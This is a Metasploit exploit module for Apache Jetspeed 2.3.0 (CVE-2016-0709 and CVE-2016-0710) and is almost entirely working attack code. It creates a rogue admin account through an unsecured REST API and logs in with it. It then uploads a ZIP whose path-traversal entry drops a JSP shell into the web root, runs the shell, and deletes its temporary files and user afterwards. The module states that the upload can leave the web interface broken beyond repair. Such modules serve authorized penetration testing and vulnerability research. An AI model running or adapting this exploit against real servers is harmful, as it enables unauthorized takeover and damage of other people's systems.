Apache Jetspeed - Arbitrary File Upload (Metasploit)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Jetspeed Arbitrary File Upload',
      'Description'    => %q{
        This module exploits the unsecured User Manager REST API and a ZIP file
        path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
        versions, to upload and execute a shell.

        Note: this exploit will create, use, and then delete a new admin user.

        Warning: in testing, exploiting the file upload clobbered the web
        interface beyond repair. No workaround has been found yet. Use this
        module at your own risk. No check will be implemented.
      },
      'Author'         => [
        'Andreas Lindh', # Vulnerability discovery
        'wvu'            # Metasploit module
      ],
      'References'     => [
        ['CVE', '2016-0710'],
        ['CVE', '2016-0709'],
        ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
        ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
        ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
      ],
      'DisclosureDate' => 'Mar 6 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux', 'win'],
      'Arch'           => ARCH_JAVA,
      'Privileged'     => false,
      'Targets'        => [
        ['Apache Jetspeed <= 2.3.0 (Linux)',   'Platform' => 'linux'],
        ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      Opt::RPORT(8080)
    ])
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_warning(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    print_status("Creating admin user: #{username}:#{password}")
    create_admin_user
    # This was originally a typo... but we're having so much fun!
    print_status('Kenny Loggins in')
    kenny_loggins
    print_warning('You have entered the Danger Zone')
    print_status("Uploading payload ZIP: #{zip_filename}")
    upload_payload_zip
    print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
    exec_jsp_shell
  end

  def cleanup
    print_status("Deleting user: #{username}")
    delete_user
    super
  end

  #
  # Exploit methods
  #

  def create_admin_user
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/jetspeed/services/usermanager/users',
      'vars_post' => {
        'name'             => username,
        'password'         => password,
        'password_confirm' => password
      }
    )
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => "/jetspeed/services/usermanager/users/#{username}",
      'vars_post' => {
        'user_enabled' => 'true',
        'roles'        => 'admin'
      }
    )
  end

  def kenny_loggins
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/jetspeed/login/redirector'
    )

    res = send_request_cgi!(
      'method'    => 'POST',
      'uri'       => '/jetspeed/login/j_security_check',
      'cookie'    => res.get_cookies,
      'vars_post' => {
        'j_username' => username,
        'j_password' => password
      }
    )

    @cookie = res.get_cookies
  end

  # Let's pretend we're mechanize
  def import_file
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/jetspeed/portal/Administrative/site.psml',
      'cookie' => @cookie
    )

    html = res.get_html_document
    import_export = html.at('//a[*//text() = "Import/Export"]/@href')

    res = send_request_cgi!(
      'method' => 'POST',
      'uri'    => import_export,
      'cookie' => @cookie
    )

    html = res.get_html_document
    html.at('//form[*//text() = "Import File"]/@action')
  end

  def upload_payload_zip
    zip = Rex::Zip::Archive.new
    zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)

    mime = Rex::MIME::Message.new
    mime.add_part(zip.pack, 'application/zip', 'binary',
                  %Q{form-data; name="fileInput"; filename="#{zip_filename}"})
    mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
    mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')

    case target['Platform']
    when 'linux'
      register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
      register_files_for_cleanup("../temp/#{username}/#{zip_filename}")
    when 'win'
      register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
      register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}")
    end

    send_request_cgi(
      'method' => 'POST',
      'uri'    => import_file,
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
      'cookie' => @cookie,
      'data'   => mime.to_s
    )
  end

  def exec_jsp_shell
    send_request_cgi(
      'method' => 'GET',
      'uri'    => "/jetspeed/#{jsp_filename}",
      'cookie' => @cookie
    )
  end

  #
  # Cleanup methods
  #

  def delete_user
    send_request_cgi(
      'method' => 'DELETE',
      'uri'    => "/jetspeed/services/usermanager/users/#{username}"
    )
  end

  # XXX: This is a hack because FileDropper doesn't delete directories
  def on_new_session(session)
    super
    case target['Platform']
    when 'linux'
      print_status("Deleting user temp directory: ../temp/#{username}")
      session.shell_command_token("rm -rf ../temp/#{username}")
    when 'win'
      print_status("Deleting user temp directory: ..\\temp\\#{username}")
      session.shell_command_token("rd /s /q ..\\temp\\#{username}")
    end
  end

  #
  # Utility methods
  #

  def username
    @username ||= Rex::Text.rand_text_alpha_lower(8)
  end

  def password
    @password ||= Rex::Text.rand_text_alphanumeric(8)
  end

  def jsp_filename
    @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
  end

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
  end

end